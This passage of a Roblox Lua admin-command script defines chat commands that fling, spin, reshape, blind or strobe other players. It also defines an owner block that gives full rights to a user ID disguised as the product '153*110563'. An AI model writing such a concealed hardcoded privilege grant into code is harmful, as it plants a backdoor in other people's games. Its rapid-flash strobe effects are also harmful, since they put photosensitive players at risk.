  1683. game.Lighting.FogColor = Color3.new(0,0,0)
  1684. game.Lighting.Brightness = 0
  1685. game.Lighting.TimeOfDay = 0
  1686. until nil]]
  1687. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1688. end
  1689.  
  1690. if msg:lower():sub(1,5) == "spin " then
  1691. local plrz = GetPlr(plr, msg:lower():sub(6))
  1692. for i, v in pairs(plrz) do
  1693. coroutine.resume(coroutine.create(function()
  1694. if v and v.Character and v.Character:findFirstChild("Torso") then
  1695. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1696. local torso = v.Character:findFirstChild("Torso")
  1697. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1698. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1699. until not bg or bg.Parent ~= torso
  1700. end
  1701. end))
  1702. end
  1703. end
  1704.  
  1705. if msg:lower():sub(1,7) == "unspin " then
  1706. local plrz = GetPlr(plr, msg:lower():sub(8))
  1707. for i, v in pairs(plrz) do
  1708. coroutine.resume(coroutine.create(function()
  1709. if v and v.Character and v.Character:findFirstChild("Torso") then
  1710. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1711. end
  1712. end))
  1713. end
  1714. end
  1715.  
  1716. if msg:lower():sub(1,4) == "dog " then
  1717. local plrz = GetPlr(plr, msg:lower():sub(5))
  1718. for i, v in pairs(plrz) do
  1719. coroutine.resume(coroutine.create(function()
  1720. if v and v.Character and v.Character:findFirstChild("Torso") then
  1721. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1722. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1723. v.Character.Torso.Transparency = 1
  1724. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1725. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1726. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1727. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1728. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1729. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1730. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1731. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1732. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1733. end
  1734. end))
  1735. end
  1736. end
  1737.  
  1738. if msg:lower():sub(1,6) == "undog " then
  1739. local plrz = GetPlr(plr, msg:lower():sub(7))
  1740. for i, v in pairs(plrz) do
  1741. coroutine.resume(coroutine.create(function()
  1742. if v and v.Character and v.Character:findFirstChild("Torso") then
  1743. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1744. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1745. v.Character.Torso.Transparency = 0
  1746. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1747. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1748. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1749. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1750. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1751. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1752. end
  1753. end))
  1754. end
  1755. end
  1756.  
  1757. if msg:lower():sub(1,8) == "creeper " then
  1758. local plrz = GetPlr(plr, msg:lower():sub(9))
  1759. for i, v in pairs(plrz) do
  1760. coroutine.resume(coroutine.create(function()
  1761. if v and v.Character and v.Character:findFirstChild("Torso") then
  1762. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1763. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1764. v.Character.Torso.Transparency = 0
  1765. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1766. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1767. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1768. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1769. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1770. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1771. end
  1772. end))
  1773. end
  1774. end
  1775.  
  1776. if msg:lower():sub(1,10) == "uncreeper " then
  1777. local plrz = GetPlr(plr, msg:lower():sub(11))
  1778. for i, v in pairs(plrz) do
  1779. coroutine.resume(coroutine.create(function()
  1780. if v and v.Character and v.Character:findFirstChild("Torso") then
  1781. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1782. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1783. v.Character.Torso.Transparency = 0
  1784. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1785. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1786. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1787. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1788. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1789. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1790. end
  1791. end))
  1792. end
  1793. end
  1794.  
  1795. if msg:lower():sub(1,8) == "bighead " then
  1796. local plrz = GetPlr(plr, msg:lower():sub(9))
  1797. for i, v in pairs(plrz) do
  1798. coroutine.resume(coroutine.create(function()
  1799. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1800. end))
  1801. end
  1802. end
  1803.  
  1804. if msg:lower():sub(1,9) == "minihead " then
  1805. local plrz = GetPlr(plr, msg:lower():sub(10))
  1806. for i, v in pairs(plrz) do
  1807. coroutine.resume(coroutine.create(function()
  1808. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1809. end))
  1810. end
  1811. end
  1812.  
  1813. if msg:lower():sub(1,6) == "fling " then
  1814. local plrz = GetPlr(plr, msg:lower():sub(7))
  1815. for i, v in pairs(plrz) do
  1816. coroutine.resume(coroutine.create(function()
  1817. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1818. local xran local zran
  1819. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1820. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1821. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1822. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1823. end
  1824. end))
  1825. end
  1826. end
  1827.  
  1828. if msg:lower():sub(1,8) == "seizure " then
  1829. local plrz = GetPlr(plr, msg:lower():sub(9))
  1830. for i, v in pairs(plrz) do
  1831. coroutine.resume(coroutine.create(function()
  1832. if v and v.Character then
  1833. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1834. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1835. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1836. end
  1837. end))
  1838. end
  1839. end
  1840.  
  1841. if msg:lower():sub(1,10) == "unseizure " then
  1842. local plrz = GetPlr(plr, msg:lower():sub(11))
  1843. for i, v in pairs(plrz) do
  1844. coroutine.resume(coroutine.create(function()
  1845. if v and v.Character then
  1846. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1847. wait(.1) v.Character.Humanoid.PlatformStand = false
  1848. end
  1849. end))
  1850. end
  1851. end
  1852.  
  1853. if msg:lower():sub(1,12) == "removelimbs " then
  1854. local plrz = GetPlr(plr, msg:lower():sub(13))
  1855. for i, v in pairs(plrz) do
  1856. coroutine.resume(coroutine.create(function()
  1857. if v and v.Character then
  1858. for a, obj in pairs(v.Character:children()) do
  1859. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1860. end
  1861. end
  1862. end))
  1863. end
  1864. end
  1865.  
  1866. if msg:lower():sub(1,5) == "name " then
  1867. local chk1 = msg:lower():sub(6):find(" ") + 5
  1868. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1869. for i, v in pairs(plrz) do
  1870. coroutine.resume(coroutine.create(function()
  1871. if v and v.Character and v.Character:findFirstChild("Head") then
  1872. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1873. local char = v.Character
  1874. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1875. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1876. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1877. char.Head.Transparency = 1
  1878. end
  1879. end))
  1880. end
  1881. end
  1882.  
  1883. if msg:lower():sub(1,7) == "unname " then
  1884. local plrz = GetPlr(plr, msg:lower():sub(8))
  1885. for i, v in pairs(plrz) do
  1886. coroutine.resume(coroutine.create(function()
  1887. if v and v.Character and v.Character:findFirstChild("Head") then
  1888. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1889. end
  1890. end))
  1891. end
  1892. end
  1893.  
  1894. if msg:lower():sub(1,5) == "char " then
  1895. local chk1 = msg:lower():sub(6):find(" ") + 5
  1896. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1897. for i, v in pairs(plrz) do
  1898. coroutine.resume(coroutine.create(function()
  1899. if v and v.Character then
  1900. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1901. v:LoadCharacter()
  1902. end
  1903. end))
  1904. end
  1905. end
  1906.  
  1907. if msg:lower():sub(1,7) == "unchar " then
  1908. local plrz = GetPlr(plr, msg:lower():sub(8))
  1909. for i, v in pairs(plrz) do
  1910. coroutine.resume(coroutine.create(function()
  1911. if v and v.Character then
  1912. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1913. v:LoadCharacter()
  1914. end
  1915. end))
  1916. end
  1917. end
  1918.  
  1919. if msg:lower():sub(1,7) == "infect " then
  1920. local plrz = GetPlr(plr, msg:lower():sub(8))
  1921. for i, v in pairs(plrz) do
  1922. coroutine.resume(coroutine.create(function()
  1923. if v and v.Character then
  1924. Infect(v.Character)
  1925. end
  1926. end))
  1927. end
  1928. end
  1929.  
  1930. if msg:lower():sub(1,11) == "rainbowify " then
  1931. local plrz = GetPlr(plr, msg:lower():sub(12))
  1932. for i, v in pairs(plrz) do
  1933. coroutine.resume(coroutine.create(function()
  1934. if v and v.Character and v.Character:findFirstChild("Torso") then
  1935. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1936. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1937. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1938. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1939. cl.Parent = v.Character cl.Disabled = false
  1940. end
  1941. end))
  1942. end
  1943. end
  1944.  
  1945. if msg:lower():sub(1,9) == "flashify " then
  1946. local plrz = GetPlr(plr, msg:lower():sub(10))
  1947. for i, v in pairs(plrz) do
  1948. coroutine.resume(coroutine.create(function()
  1949. if v and v.Character and v.Character:findFirstChild("Torso") then
  1950. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1951. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1952. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1953. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1954. cl.Parent = v.Character cl.Disabled = false
  1955. end
  1956. end))
  1957. end
  1958. end
  1959.  
  1960. if msg:lower():sub(1,8) == "noobify " then
  1961. local plrz = GetPlr(plr, msg:lower():sub(9))
  1962. for i, v in pairs(plrz) do
  1963. coroutine.resume(coroutine.create(function()
  1964. if v and v.Character then
  1965. Noobify(v.Character)
  1966. end
  1967. end))
  1968. end
  1969. end
  1970.  
  1971. if msg:lower():sub(1,9) == "ghostify " then
  1972. local plrz = GetPlr(plr, msg:lower():sub(10))
  1973. for i, v in pairs(plrz) do
  1974. coroutine.resume(coroutine.create(function()
  1975. if v and v.Character and v.Character:findFirstChild("Torso") then
  1976. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1977. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1978. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1979. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1980. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1981. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1982. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1983. end end
  1984. end
  1985. end))
  1986. end
  1987. end
  1988.  
  1989. if msg:lower():sub(1,8) == "goldify " then
  1990. local plrz = GetPlr(plr, msg:lower():sub(9))
  1991. for i, v in pairs(plrz) do
  1992. coroutine.resume(coroutine.create(function()
  1993. if v and v.Character and v.Character:findFirstChild("Torso") then
  1994. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1995. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1996. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1997. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1998. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1999. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  2000. end end
  2001. end
  2002. end))
  2003. end
  2004. end
  2005.  
  2006. if msg:lower():sub(1,6) == "shiny " then
  2007. local plrz = GetPlr(plr, msg:lower():sub(7))
  2008. for i, v in pairs(plrz) do
  2009. coroutine.resume(coroutine.create(function()
  2010. if v and v.Character and v.Character:findFirstChild("Torso") then
  2011. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2012. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2013. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2014. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2015. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  2016. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2017. end end
  2018. end
  2019. end))
  2020. end
  2021. end
  2022.  
  2023. if msg:lower():sub(1,7) == "normal " then
  2024. local plrz = GetPlr(plr, msg:lower():sub(8))
  2025. for i, v in pairs(plrz) do
  2026. coroutine.resume(coroutine.create(function()
  2027. if v and v.Character and v.Character:findFirstChild("Torso") then
  2028. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  2029. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2030. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2031. v.Character.Torso.Transparency = 0
  2032. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2033. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2034. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2035. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2036. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2037. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2038. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2039. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  2040. if prt.Name == "FAKETORSO" then prt:Destroy() end
  2041. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  2042. end end
  2043. end
  2044. end))
  2045. end
  2046. end
  2047.  
  2048. if msg:lower():sub(1,7) == "trippy " then
  2049. local plrz = GetPlr(plr, msg:lower():sub(8))
  2050. for i, v in pairs(plrz) do
  2051. coroutine.resume(coroutine.create(function()
  2052. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2053. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2054. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  2055. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2056. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  2057. end
  2058. end))
  2059. end
  2060. end
  2061.  
  2062. if msg:lower():sub(1,9) == "untrippy " then
  2063. local plrz = GetPlr(plr, msg:lower():sub(10))
  2064. for i, v in pairs(plrz) do
  2065. coroutine.resume(coroutine.create(function()
  2066. if v and v:findFirstChild("PlayerGui") then
  2067. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  2068. end
  2069. end))
  2070. end
  2071. end
  2072.  
  2073. if msg:lower():sub(1,7) == "strobe " then
  2074. local plrz = GetPlr(plr, msg:lower():sub(8))
  2075. for i, v in pairs(plrz) do
  2076. coroutine.resume(coroutine.create(function()
  2077. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2078. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2079. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  2080. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2081. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  2082. end
  2083. end))
  2084. end
  2085. end
  2086.  
  2087. if msg:lower():sub(1,9) == "unstrobe " then
  2088. local plrz = GetPlr(plr, msg:lower():sub(10))
  2089. for i, v in pairs(plrz) do
  2090. coroutine.resume(coroutine.create(function()
  2091. if v and v:findFirstChild("PlayerGui") then
  2092. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  2093. end
  2094. end))
  2095. end
  2096. end
  2097.  
  2098. if msg:lower():sub(1,6) == "blind " then
  2099. local plrz = GetPlr(plr, msg:lower():sub(7))
  2100. for i, v in pairs(plrz) do
  2101. coroutine.resume(coroutine.create(function()
  2102. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2103. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2104. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  2105. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2106. end
  2107. end))
  2108. end
  2109. end
  2110.  
  2111. if msg:lower():sub(1,8) == "unblind " then
  2112. local plrz = GetPlr(plr, msg:lower():sub(9))
  2113. for i, v in pairs(plrz) do
  2114. coroutine.resume(coroutine.create(function()
  2115. if v and v:findFirstChild("PlayerGui") then
  2116. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  2117. end
  2118. end))
  2119. end
  2120. end
  2121.  
  2122. if msg:lower():sub(1,7) == "guifix " then
  2123. local plrz = GetPlr(plr, msg:lower():sub(8))
  2124. for i, v in pairs(plrz) do
  2125. coroutine.resume(coroutine.create(function()
  2126. if v and v:findFirstChild("PlayerGui") then
  2127. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2128. end
  2129. end))
  2130. end
  2131. end
  2132.  
  2133. if msg:lower():sub(1,9) == "loopheal " then
  2134. local plrz = GetPlr(plr, msg:lower():sub(10))
  2135. for i, v in pairs(plrz) do
  2136. if v then
  2137. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  2138. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2139. repeat wait()
  2140. coroutine.resume(coroutine.create(function()
  2141. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  2142. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  2143. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  2144. end
  2145. end))
  2146. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2147. end
  2148. end
  2149. end
  2150.  
  2151. if msg:lower():sub(1,11) == "unloopheal " then
  2152. local plrz = GetPlr(plr, msg:lower():sub(12))
  2153. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2154. end
  2155.  
  2156. if msg:lower():sub(1,10) == "loopfling " then
  2157. local plrz = GetPlr(plr, msg:lower():sub(11))
  2158. for i, v in pairs(plrz) do
  2159. if v then
  2160. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  2161. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2162. repeat
  2163. coroutine.resume(coroutine.create(function()
  2164. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  2165. local xran local zran
  2166. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2167. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2168. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  2169. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2170. end
  2171. end))
  2172. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2173. end
  2174. end
  2175. end
  2176.  
  2177. if msg:lower():sub(1,12) == "unloopfling " then
  2178. local plrz = GetPlr(plr, msg:lower():sub(13))
  2179. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2180. end
  2181.  
  2182. end
  2183.  
  2184. -------------------------
  2185. -- True Owner Commands --
  2186. -------------------------
  2187.  
  2188. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2189.  
  2190. if msg:lower():sub(1,3) == "oa " then
  2191. local plrz = GetPlr(plr, msg:lower():sub(4))
  2192. for i, v in pairs(plrz) do
  2193. coroutine.resume(coroutine.create(function()
  2194. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2195. end))
  2196. end
  2197. end
  2198.  
  2199. if msg:lower():sub(1,5) == "unoa " then
  2200. for i = 1, #owners do
  2201. coroutine.resume(coroutine.create(function()
  2202. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2203. end))
  2204. end
  2205. end
  2206.  
  2207. if msg:lower() == "settings" then
  2208. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  2209. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
